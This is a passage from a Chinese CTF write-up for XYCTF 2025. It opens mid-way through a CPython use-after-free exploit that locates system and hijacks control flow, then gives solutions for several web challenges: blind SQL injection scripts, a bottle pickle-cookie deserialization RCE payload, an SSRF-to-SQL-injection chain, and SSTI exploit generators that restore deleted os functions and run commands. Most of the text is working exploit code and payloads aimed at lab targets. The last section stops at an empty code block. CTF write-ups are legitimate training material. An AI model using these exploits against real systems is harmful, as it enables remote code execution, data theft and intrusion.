self.freed_buffer[0] = id(byte_array_obj) + 32

def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]

def set_rip(self, addr, obj_refcount=0x10):
"""Set rip by using a fake object and associated type object."""
# Fake type object
type_obj = flat(
p64(0xac1dc0de), # refcount
b'X'*0x68, # padding
p64(addr)*100, # vtable funcs
)
self.no_gc.append(type_obj)

# Fake PyObject
data = flat(
p64(obj_refcount), # refcount
p64(id(type_obj)), # pointer to fake type object
)
self.no_gc.append(data)

# The bytes data starts at offset 32 in the object
self.freed_buffer[0] = id(data) + 32

try:
# Now we trigger it. This calls tp_getattro on our fake type object
self.fake_objs[0].trigger
except:
# Avoid messy error output when we exit our shell
pass

def find_bin_base(self):
# Leak tp_dealloc pointer of PyLong_Type which points into the Python
# binary.
leak = self.leak(id(int), 32)
cpython_binary_ptr = u64(leak[24:32])
addr = (cpython_binary_ptr >> 12) << 12 # page align the address
# Work backwards in pages until we find the start of the binary
for i in range(10000):
nxt = self.leak(addr, 4)
if nxt == b'\x7fELF':
return addr
addr -= PAGE_SIZE
return None

def find_system(self):
"""
Return either the address of the system PLT stub, or the address of
system itself if the binary is full RELRO.
"""
bin_base = self.find_bin_base()
data = self.leak(bin_base, 0x1000)

# Parse ELF header
type = u16(data[0x10:0x12])
is_pie = type == 3
phoff = u64(data[0x20:0x28])
phentsize = u16(data[0x36:0x38])
phnum = u16(data[0x38:0x3a])

# Find .dynamic section
dynamic = None
for i in range(phnum):
hdr_off = phoff + phentsize*i
hdr = data[hdr_off:hdr_off + phentsize]
p_type = u32(hdr[0x0:0x4])
p_vaddr = u64(hdr[0x10:0x18])
if p_type == 2: # PT_DYNAMIC
dynamic = p_vaddr

if dynamic is None:
print("[!!] Couldn't find PT_DYNAMIC section")
return None

if is_pie:
dynamic += bin_base

print('[*] .dynamic: {}'.format(hex(dynamic)))
dynamic_data = e.leak(dynamic, 500)

# Parse the Elf64_Dyn entries, extracting what we need
i = 0
got = None
symtab = None
strtab = None
rela = None
init = None
while True:
d_tag = u64(dynamic_data[i*16:i*16 + 8])
d_un = u64(dynamic_data[i*16 + 8:i*16 + 16])
if d_tag == 0 and d_un == 0:
break
elif d_tag == 3: # DT_PLTGOT
got = d_un
elif d_tag == 5: # DT_STRTAB
strtab = d_un
elif d_tag == 6: # DT_SYMTAB
symtab = d_un
elif d_tag == 12: # DT_INIT
init = d_un
elif d_tag == 23: # DT_JMPREL
rela = d_un
i += 1

if got is None or strtab is None or symtab is None or rela is None or \
init is None:
print("[!!] Missing required info in .dynamic")
return None

if is_pie:
init += bin_base

print('[*] DT_SYMTAB: {}'.format(hex(symtab)))
print('[*] DT_STRTAB: {}'.format(hex(strtab)))
print('[*] DT_RELA: {}'.format(hex(rela)))
print('[*] DT_PLTGOT: {}'.format(hex(got)))
print('[*] DT_INIT: {}'.format(hex(init)))

# Walk the relocation table, for each entry we read the relevant symtab
# entry and then strtab entry to get the function name.
rela_data = e.leak(rela, 0x1000)
i = 0
while True:
off = i * 24
r_info = u64(rela_data[off + 8:off + 16])
symtab_idx = r_info >> 32 # ELF64_R_SYM
symtab_entry = e.leak(symtab + symtab_idx * 24, SIZEOF_ELF64_SYM)
strtab_off = u32(symtab_entry[0:4])
name = e.leak(strtab + strtab_off, 6)
if name == b'system':
print('[*] Found system at rela index {}'.format(i))
system_idx = i
break
i += 1

# Leak start of GOT data to determine if we're full RELRO
got_data = self.leak(got, 32)
link_map = u64(got_data[8:16])
dl_runtime_resolve = u64(got_data[16:24])

if link_map == 0 and dl_runtime_resolve == 0:
# The binary is likely full RELRO, which means system will already
# be resolved in the GOT.
print('[*] Full RELRO binary, reading system address from GOT')
system_got = 24 + got + system_idx*8
func = u64(self.leak(system_got, 8))
print('[*] system: {}'.format(hex(func)))
return func

# Find the PLT. We know it is always placed after the init function, so
# scan forwards looking for the first opcode of PLT.
init_data = self.leak(init, 64)
plt_offset = None
for i in range(0, len(init_data), 2):
if init_data[i:i+2] == b'\xff\x35': # push [rip+offset]
plt_offset = i
break

if plt_offset is None:
print('[!!] Start of PLT not found')
return None

plt = init + plt_offset + 16 # skip first PLT entry which is resolver

# PLT stubs are in the same order as rela entries, so we can use the
# known system index to calculate the address of the system PLT stub.
system_plt = plt + system_idx*SIZEOF_PLT_STUB
print('[*] system plt: {}'.format(hex(system_plt)))
return system_plt

def __init__(self):
# Trigger bug
global view
f = io.BufferedReader(File())
f.read(1)
del f
view = view.cast('P')

self.fake_objs = [None] * len(view)
self.freed_buffer = view
self.no_gc = []


e = Exploit()
system = e.find_system()
# When we get rip control rdi contains a pointer to our fake object, who's first
# 8 bytes are its refcount. We can repurpose the refcount as our command to
# system. Note the refcount is incremented by 1 before the call, which is why we
# decrement the first character.
e.set_rip(system, obj_refcount=u64(b'\x2ebin/rf\x00'))

flag{__Tomorrow_I_will_be_heading_my_way__}

Web

ezsql(手动滑稽) (Mia、l2xcty)

第一层和第二层是sql盲注-布尔盲注,用bp跑了一下过滤的字符,发现空格被过滤,这里利用tab键绕过,得到用户名和密码,以及第二层的密钥:

1
2
3
4
yudeyoushang
zhonghengyisheng

dtfrtkcc0czkoua9s

第三层是时间盲注,打命令无回显,利用时间来判断字符,写了个能跑就行的脚本(赶车中,比较粗糙)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import time

burp0_url = "http://eci-2ze82rmt4sci8ewdblmp.cloudeci1.ichunqiu.com:80/login.php"
burp0_url_2 = "http://eci-2ze55x638dar4i7j0ioc.cloudeci1.ichunqiu.com/index.php"
burp0_headers = {"Cookie" : "PHPSESSID=8770b9b877ed50e1a888010399b1f2b3"}
burp0_data = {"username": "11", "password": "11"}
burp0_data_2 = {"command": "1111"}


# 枚举当前数据库名的payload
payload_db = "1'or substr(database()from({})for(1))='{}'#"

# 枚举所有表名的payload
payload_tab = "1'or substr((select group_concat(table_name) from information_schema.tables where table_schema='{}')from({})for(1))='{}'#"

# 枚举所有列名的payload
payload_com = "'or substr((select group_concat(column_name) from information_schema.columns where table_name='{}')from({})for(1))='{}'#"

# 枚举字符的payload
payload_str = "'or substr((select group_concat({}) from double_check)from({})for(1))='{}'#"


chars = '1234567890_-.qwertyuiopasdfghjklzxcvbnmQAZWSXEDCRFVTGBYHNUJMIK{}OLP'

def fuzz():

db = ''

for i in range(1,7):
break
for n in chars:
burp0_data["username"] = payload_db.format(i,n)
# print(burp0_data["username"])
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
# print(response.text)
if '帐号或密码错误' not in response.text:
db += n
print('[+] 第', i, '个字符枚举成功:',db)
break
print()

tab = ''
for i in range(1,20):
break
for n in chars:
burp0_data["username"] = payload_tab.format('testdb',i,n)
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if '帐号或密码错误' not in response.text:
tab += n
print('[+] 第', i, '个字符枚举成功:',tab)
break
print()


com = ''
for i in range(1,7):
break
for n in chars:
burp0_data["username"] = payload_com.format('user',i,n)
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if '帐号或密码错误' not in response.text:
com += n
print('[+] 第', i, '个字符枚举成功:',com)
break
print()

str = ''
for i in range(1,20):
break
for n in chars:
burp0_data["username"] = payload_str.format('password',i,n)
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if '帐号或密码错误' not in response.text:
str += n
print('[+] 第', i, '个字符枚举成功:',str)
break
print()

flag = '[INFO]: '
for x in range(1,6):
flag += ''
for i in range(1,50):
for j in chars:
payload = "if [ `cat /flag.txt | awk 'NR=={}' | cut -c{}` = {} ];then sleep 2;fi".format(x,i,j)


burp0_data_2={"command":payload}
response = requests.post(url=burp0_url_2, headers=burp0_headers, data=burp0_data_2)
start_time = time.time()

end_time = time.time()
# 看延迟再改时间,1秒可能不太行,跑了很多次才做出来flag
if end_time-start_time > 1:
flag += j
print(flag)

if __name__ == '__main__':
fuzz()

非预期:

其实可以把回显外带到`/out,然后直接访问下载就能看见了,只能说过滤器没写好….

XYCTF{85fbe4b1-d7c4-4337-8241-53e5ed3125aa}

Signin(Mia)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)



/download路由对参数过滤不严格,可以绕过过滤读到secret.txt,如下,得到Hell0_H@cker_Y0u_A3r_Sm@r7,然后这题构造cookie也没有用,只会返回一个The secret has been deleted!的提示

在默认的bottle设定中时没有真正的secret key的,由于这题使用signed cookie的功能来加密他自己的cookie,所以在bottle.response.get_cookie的方法中调用了pickle.loads()来反序列化,所以我们可以利用这里的/secret路由构造反序列化攻击

一开始我想的是用os模块构造命令反弹shell,奈何题目不出网,后来我用os库尝试外带,用/download路由去读,奈何一直不成功,最后沉思,嗯(这题不出网,而且没有import os库)……

用继承链构造命令外带(其实我一开始就用的这个放法,只不过把cookie_encode函数弄成set_cookie函数了…),payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from bottle import cookie_encode

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Exploit:
def __reduce__(self):
cmd = "ls / > /tmp/1.txt"
return (__import__('os').system, (cmd,))

payload = cookie_encode(("name", {"name": Exploit()}), secret)

print('name="' + payload.decode() + '"')

# name="!Z3MxoroLWn1Of2kr/f6s2IauNA8byfjRsF0ect0zR7s=?gAWVOgAAAAAAAACMBG5hbWWUfZRoAIwFcG9zaXiUjAZzeXN0ZW2Uk5SMEWxzIC8gPiAvdG1wLzEudHh0lIWUUpRzhpQu"

然后利用/download路由读取外带的输出,最后读取flag

flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ez_puzzle(Mia、Lin)

这题让在两秒内拼图,即可获得flag,很经典的js逆向题,那么这题就是要看前端的js代码,找出flag的生成逻辑,逆向把flag算出来了(这什么破js,我才不看呢,看不懂)。那么这题就有个另类的解法了。

首先我在js里看到一个变量imageIndexForPosition,在控制台里打印看看是什么东西,似乎是代表着图片位置的对象(类数组),然后图片改变它也会改变,于是乎….

刷新页面后再控制下迅速输入imageIndexForPosition = [0,1,2,3,4,5,6,7,8];,然后快速点击图片,即可弹出flag,记得把调试哑掉(谁也别玩了

flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

Fate(赛后)

先看app.py源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

先看/1337路由,首先有个 if flask.request.remote_addr == ‘127.0.0.1’: 来判断来源是否是local,然后判断get(‘0’)传参的值为 abcdefghi ,然后get(‘1’)参数传入的json值会被反序列化 req = json.loads(req) ,最后会经过一个waf后调用db_search函数,由init_db.py可知flag在LAMENTXU字段里,明显是要打sql注入,那么考虑打SSRF进入这个路由。

再看/proxy路由,get(‘url’)传入参数,有个backlists禁止字母和 . 输入,那么127.0.0.1可以用十六进制绕过,url前面会被拼接http://lamentxu.top,这个可以用@绕过,因为在url中是以@后面的地址为准的。

这里的sql注入,由于waf的严格,一般的绕过无法进行。我们可以看到,这题是利用**json.loads()**进行传参,这个方法没有对传入的类型做检查。因此,我们可以传入非字符串类型的变量。这里涉及python的格式化字符串特性,我们用在野生字符串中传入一个列表时,会将整个列表转为字符串拼接,且长度为列表长度,如下:

那么我们的攻击流程为(摘自LamentXU):

首先看SSRF部分:

1.在前面加入lamentxu.top,这个可以用@来绕过。
2.禁止了所有字母和**.**,那么我们使用2130706433来表示127.0.0.1。
3.必须要传入参数0为abcdef。使用二次URL编码绕过。

接下来就是SQL注入部分:

使用上文提到的办法即可,但是这里限制了列表和元组,使用字典。

传入数据为:

1
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}

拼接后的sql语句为

1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))

即可成功注入。

接下来将传入的数据编码,脚本如下:

1
2
3
4
5
def string_to_binary(input_string):
binary_list = [format(ord(char), '08b') for char in input_string]
binary_string = ''.join(binary_list)
return binary_string
print(string_to_binary("""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""))

然后打就完了,如下:

flag{Do4t_bElIevE_in_FatE_Y1s_Y0u_2_a_Js0n_ge1nus!}

出题人已疯(赛后)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

这题有两种解法,分别写一下(也是刚学到的)

解法一:

先看bottle框架模版的如下特性:

那么我们即可通过%开头嵌入python代码,将命令执行的payload通过os.a变量拼接,然后用eval去执行,将flag写入文件,然后用%include去读取文件即可获得flag,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://gz.imxbt.cn:20713/attack'
payload = "__import__('os').system('cat /flag > flagg')"

p = [payload[i:i+4] for i in range(0,len(payload),4)]
flag = True

for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
try:
r = requests.get(url,params={"payload":tmp})
print('[-] 拼接成功')
except:
exit()

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('flagg')"}).text
print('[+]',r)

解法二:

解法二是利用bottle框架存在斜体字的SSTI,详细分析见LamentXU师傅的博客:https://www.cnblogs.com/LAMENTXU/articles/18805019

那么该题禁用的open函数,就可以用𝓸斜体字代替o来绕过,即可用如下payload拿到flag:

flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}

那么对于另一题 出题人又疯 ,其实就是这个考点,由于该题没有环境复现,所以在这里一同整理了

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

其实就是加了一个黑名单,使得上题的解法不行了,那么就用到斜体字了,payload如下:

1
/attack?payload={{%bapen('/flag').re%aad()}}

Now you see me 1(赛后)

题目将源码稍做隐藏,这里直接贴源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

可知在/H3dden_route路由存在SSTI,但是设置了严格的黑名单,删除了一些函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]

import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError

可以看到题目删除了RCE的方法。python2中可以使用reload函数对类进行重载,在python3中,这个函数搬到了importlib类里。可以以此重载到被删除的方法。由于限制了' " \ [ ]等关键字符,这使得我们无法通过常见的手段绕过过滤构造继承链,这时我们想到request对象的一些方法,可以从请求里拿到字符串,如下:

1
2
3
4
5
6
7
8
request              #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)

但是很可惜,除了request本身,其他的可用方法全在黑名单里。别急,这里介绍一个冷门的函数:request.endpoint,来看下flask的API文档:

也就是说,该方法会返回请求的路由的函数名,在这题就是r3al_ins1de_th0ught,那可以从中截取到d、a、t、三个字符,去构造request.data,从而能在请求中拿到任意字符,构造继承链。

那么我们这就开打,别急,先来了解一下基础知识,不然连LamentXU的脚本都看不懂(好吧只是我看不懂)。

首先贴一个jinja模板设计者文档:https://docs.jinkan.org/docs/jinja2/templates.html

我们需要特别注意的是这几个点(好吧,其实是我在此之前不懂):

1
2
你可以使用点( . )来访问变量的属性,作为替代,也可以使用所谓的“下标”语 法( [] )。
~ :把所有的操作数转换为字符串,并且连接它们。 {{ "Hello " ~ name ~ "!" }} 会返回(假设 name 值为 ''John' ) Hello John!

那么我们这就开打,先确定下思路:

1.#}闭合注释语句
2.request.endpoint 找 request.data
3.request.data 从请求体中获取任意字符
4.通过拼接字符打继承链找到importlib的reload。reloados.popen
5.通过request打继承链找os打RCE

首先用 request.endpoint 拿到路由对应函数的字符,如下:

然后利用这些字符构造 request.data 拿到任意字符,如下:

然后就可以写个脚本构造payload了,毕竟后面越来越麻烦,脚本改自LamentXU师傅,如下(其实没改,就加了两个字符):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re

payload = []

def generate_rce_command(cmd):
global payload

payloadstr = "{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"
required_encoding = re.findall(r"'([a-z0-9_ \-&.>/]+)'", payloadstr)
print(required_encoding)

offset_a = 18
offset_0 = 8
encoded_payloads = {}

arg_count = 0
for i in required_encoding:
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j == '>':
p.append('k.6')
elif j == '&':
p.append('k.7')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.70')
else:
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)

fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])

payload.append(fully_encoded_payload)
command = "id"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1]

payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)

print('request body: _ .->&0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"Follow-your-heart-%23}"+output)

可以看到成功RCE了,如下

通过base64编码把根目录下的flag文件下载下来,是个wav音频文件

想到是DeepSound隐写(好吧是看的wp),提取文件可得flag

flag{N0w_y0u_sEEEEEEEEEEEEEEE_m3!!!!!!}

Now you see me 2(赛后)

题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30)/10) # No time based injections.
flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'

return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

这题和上题差不多,区别是无回显,其实无回显也有很多攻击方法,但是注意下面部分:

1
2
3
4
5
6
time.sleep(random.randint(10, 30)/10) # No time based injections.

for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'

这里限制了时间盲注,弹shell,内存马啥的,唯独没有限制请求头回显。(摘)那么我们用上题的方法,构造如下继承链,将回显外带到响应头里即可,如下:

1
